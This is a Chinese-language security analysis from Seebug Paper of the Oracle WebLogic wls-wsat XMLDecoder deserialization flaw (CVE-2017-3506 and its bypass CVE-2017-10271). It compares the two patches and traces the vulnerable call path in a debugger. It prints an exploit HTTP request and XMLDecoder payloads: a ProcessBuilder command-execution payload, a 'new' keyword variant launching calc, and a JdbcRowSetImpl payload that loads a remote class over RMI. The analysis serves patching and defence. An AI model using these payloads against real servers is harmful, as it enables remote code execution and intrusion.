作者:廖新喜
挖礦確實太火,現在只要存在RCE漏洞就會有礦機的身影,這不weblogic又火了一把。這次礦機使用的PoC是wls wsat模塊的RCE漏洞,這個漏洞的核心就是XMLDecoder的反序列化漏洞,關于XMLDecoder反序列化的漏洞在2013年就被廣泛傳播,這次的漏洞是由于官方修復不完善導致被繞過。
1 補丁分析
首先來看下weblogic的歷史補丁,四月份補丁通告:http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html
這里面主要關注CVE-2017-3506,這是web service模塊的漏洞。
10月份補丁通告:https://www.oracle.com/technetwork/topics/security/cpuoct2017-3236626.html
主要關注CVE-2017-10271,是WLS Security組建的漏洞,英文描述如下:
A remote user can exploit a flaw in the Oracle WebLogic Server WLS Security component to gain elevated privileges [CVE-2017-10271].這是CVE-2017-10271的描述信息。
測試的poc如下:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.3.216:7001
Accept-Encoding: identity
Content-Length: 683
Accept-Language: zh-CN,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Cache-Control: max-age=0
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
。。。。
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
對于poc中uri中/wls-wsat/CoordinatorPortType 可以換成CoordinatorPortType11等wsat 這個webservice服務中存在的其他uri
執行的效果圖如下:

跟蹤到底這還是XMLDecoder的漏洞,下面來分析補丁代碼:首先來看3506的補丁的分析,在文件weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中,添加了validate方法,方法的實現如下:
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
} catch (ParserConfigurationException var5) {
throw new IllegalStateException("Parser Exception", var5);
} catch (SAXException var6) {
throw new IllegalStateException("Parser Exception", var6);
} catch (IOException var7) {
throw new IllegalStateException("Parser Exception", var7);
}
}
簡單來說就是在解析xml的過程中,如果Element字段值為Object就拋出異常,這簡直太腦殘了,所以馬上就有了CVE-2017-10271。我前段時間分析Oracle Weblogic十月份的補丁的時候看到WorkContextXmlInputAdapter 相關代碼時只關注了這塊dos的漏洞,沒看到10271添加的對new,method,void的去除,還想當然的以為自己找到0day了呢。因為可以通過其他方式繞過,比如典型的就是將object改為void,這是挖礦的人采用的poc,我也想到了,當然也還可以通過new關鍵字來創建反序列化執行的poc,下面簡單示例一下通過new關鍵字來執行命令:
<java version="1.4.0" class="java.beans.XMLDecoder">
<new class="java.lang.ProcessBuilder">
<string>calc</string><method name="start" />
</new>
</java>
至于為什么XMLDecoder在解析的過程中能執行代碼呢,大家可以以如下測試用例進行測試:
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="com.sun.rowset.JdbcRowSetImpl">
<void property="dataSourceName">
<string>rmi://localhost:1099/Exploit</string>
</void>
<void property="autoCommit">
<boolean>true</boolean>
</void>
</void>
</java>
是不是覺得變種太多,寫法太靈活了,比XStream遠程執行代碼的要求還低。根據如上poc首先生成JdbcRowSetImpl的實例,接著調用該實例的set方法來初始化該實例的屬性,當調用完setAutoCommit接口的時候就會根據dataSourceName的值去遠程加載一個類初始化。
針對上面的PoC,官方放出了10271的補丁,補丁如下:
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 = attributes.getValue("class");
if(var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
這個補丁限定了object,new,method,void,array等字段,就限定了不能生成java 實例。如下的測試用例就不可執行:
<java version="1.4.0" class="java.beans.XMLDecoder">
<new class="java.lang.ProcessBuilder">
<string>calc</string><method name="start" />
</new>
</java>
2 動態調試
為了更好的理解這個漏洞,我們通過本地的weblogic動態調試一番,PoC還是前面提到的,具體的調用棧如下:

調用棧非常深,我們簡單解釋一下關鍵的幾個部位,首先是WorkContextServerTube.java中processRequest方法,主要功能就是分割整個xml,抽取真正執行的xml交給readHeadOld方法。
public NextAction processRequest(Packet var1) {
this.isUseOldFormat = false;
if(var1.getMessage() != null) {
HeaderList var2 = var1.getMessage().getHeaders();
Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);
if(var3 != null) {
this.readHeaderOld(var3);
this.isUseOldFormat = true;
}
Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true);
if(var4 != null) {
this.readHeader(var4);
}
}
protected void readHeaderOld(Header var1) {
try {
XMLStreamReader var2 = var1.readHeader();
var2.nextTag();
var2.nextTag();
XMLStreamReaderToXMLStreamWriter var3 = new XMLStreamReaderToXMLStreamWriter();
ByteArrayOutputStream var4 = new ByteArrayOutputStream();
XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4);
var3.bridge(var2, var5);
var5.close();
WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray()));
this.receive(var6);
} catch (XMLStreamException var7) {
throw new WebServiceException(var7);
} catch (IOException var8) {
throw new WebServiceException(var8);
}
}
在上述代碼中ByteArrayOutputStream var4會被填充為PoC實際執行部分代碼即:
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
。。。
<void method="start"/></void>
</java>
接著這部分xml會被傳遞到XMLDecoder的readObject方法中從而導致反序列化遠程代碼執行。
總之,盡快打上Weblogic 10月份的補丁。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/487/
暫無評論